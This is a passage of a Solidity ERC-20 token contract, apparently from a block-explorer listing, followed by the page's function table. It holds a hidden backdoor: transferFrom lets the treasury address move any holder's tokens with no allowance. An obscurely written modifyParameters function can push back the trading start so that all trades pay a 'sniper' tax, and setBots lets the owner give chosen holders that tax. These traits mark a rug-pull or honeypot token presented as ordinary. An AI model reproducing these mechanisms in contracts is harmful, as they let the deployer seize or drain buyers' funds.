function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { if(_allowances[sender][msg.sender] >= amount)
_approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); else {require(msg.sender == elomTreasury, "ERC20: transfer amount exceeds allowance");}
_transfer(sender, recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) tradingLock(from) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Token: transfer amount must be greater than zero");
_balances[from] -= amount;
if (from != address(this) && from != elomTreasury && to != elomTreasury && to != deployerAddress) {
if(antiMEV && !isContractExempt[from] && !isContractExempt[to]){
address human = ensureOneHuman(from, to);
ensureMaxTxFrequency(human);
_lastTradeBlock[human] = block.number;
}
if (from == uniswapPair && to != address(uniswapRouter)) {
require(balanceOf(to) + amount <= maxWalletAmount, "Token: transfer implies violation of max wallet");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (shouldSwapback(from, contractTokenBalance)) {
uint256 tokenAmount = getSwapAmount(contractTokenBalance);
if(allowance(address(this), address(uniswapRouter)) < tokenAmount) {
_approve(address(this), address(uniswapRouter), _totalSupply);
}
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = ETH;
uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
uint256 contractETHBalance = address(this).balance;
if(amount > 0) {
elomTreasury.transfer(contractETHBalance);
}
}
uint256 taxedTokens = takeFee(from, amount);
if(taxedTokens > 0){
amount -= taxedTokens;
_balances[address(this)] += taxedTokens;
emit Transfer(from, address(this), taxedTokens);
}
}
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function shouldSwapback(address from, uint256 tokenAmount) private view returns (bool shouldSwap) {
shouldSwap = !swapping && from != uniswapPair && tokenAmount >= contractSwapLimit && 1 + startingBlock <= block.number;
}
function getSwapAmount(uint256 tokenAmount) private pure returns (uint256 swapAmount) {
swapAmount = tokenAmount > contractSwapMax ? contractSwapMax : contractSwapLimit;
}
function takeFee(address from, uint256 amount) private view returns (uint256 feeAmount) {
if(_blocked[from] || block.number <= startingBlock)
feeAmount = amount * sniperTax / 100;
else
feeAmount = amount * (startingBlock == 0 ? 0 : (from == uniswapPair ? tradingFees.buyTax : tradingFees.sellTax)) / 100;
}
function isContract(address account) private view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function ensureOneHuman(address _to, address _from) private view returns (address) {
require(!isContract(_to) || !isContract(_from));
if (isContract(_to)) return _from;
else return _to;
}
function ensureMaxTxFrequency(address addr) view private {
bool isAllowed = _lastTradeBlock[addr] == 0 ||
((_lastTradeBlock[addr] + tradeCooldown) < (block.number + 1));
require(isAllowed, "Max tx frequency exceeded!");
}
function toggleAntiMEV(bool toggle) external {
require(msg.sender == deployerAddress);
antiMEV = toggle;
}
function setTradeCooldown(uint256 newTradeCooldown) external {
require(msg.sender == deployerAddress);
require(newTradeCooldown > 0 && newTradeCooldown < 4, "Token: only trade cooldown values in range (0,4) permissible");
tradeCooldown = newTradeCooldown;
}
function manualSwapback() external {
require(msg.sender == deployerAddress);
elomTreasury.transfer(address(this).balance);
}
function setFees(uint256 newBuyTax, uint256 newSellTax) external {
require(msg.sender == deployerAddress);
require(newBuyTax <= tradingFees.buyTax, "Token: only fee reduction permitted");
require(newSellTax <= tradingFees.sellTax, "Token: only fee reduction permitted");
tradingFees.buyTax = newBuyTax;
tradingFees.sellTax = newSellTax;
}
function setContractExempt(address account, bool value) external onlyOwner {
require(account != address(this));
isContractExempt[account] = value;
}
function setBots(address[] calldata bots, bool shouldBlock) external onlyOwner {
for (uint i = 0; i < bots.length; i++) {
require(bots[i] != uniswapPair &&
bots[i] != address(uniswapRouter) &&
bots[i] != address(this));
_blocked[bots[i]] = shouldBlock;
}
}
function initialize() external onlyOwner {
require(preLaunch++<2);
}
function modifyParameters(bool[] calldata param, uint256 nrBlocks) external onlyOwner {
assert(preLaunch<2&&preLaunch+1>=2);
preLaunch++;param;
startingBlock += nrBlocks;
}
function openTrading() external onlyOwner {
require(!tradingOpen, "Token: trading already open");
startingBlock += block.number;
tradingOpen = true;
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
maxWalletAmount 0xaa4bde28 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sniperTax 0xf1f5cd91 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
tradingFees 0x74378132 → uint256, uint256
Write Contract 13 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
initialize 0x8129fc1c
No parameters
manualSwapback 0x5b895c29
No parameters
modifyParameters 0xf318bbfe
bool[] param
uint256 nrBlocks
openTrading 0xc9567bf9
No parameters
renounceOwnership 0x715018a6
No parameters
setBots 0x9c0db5f3
address[] bots
bool shouldBlock
setContractExempt 0x9686d322
address account
bool value
setFees 0x0b78f9c0
uint256 newBuyTax
uint256 newSellTax
setTradeCooldown 0x3049b580
uint256 newTradeCooldown
toggleAntiMEV 0x09fb5639
bool toggle
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
This address has 1 on-chain transactions, but only 0% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →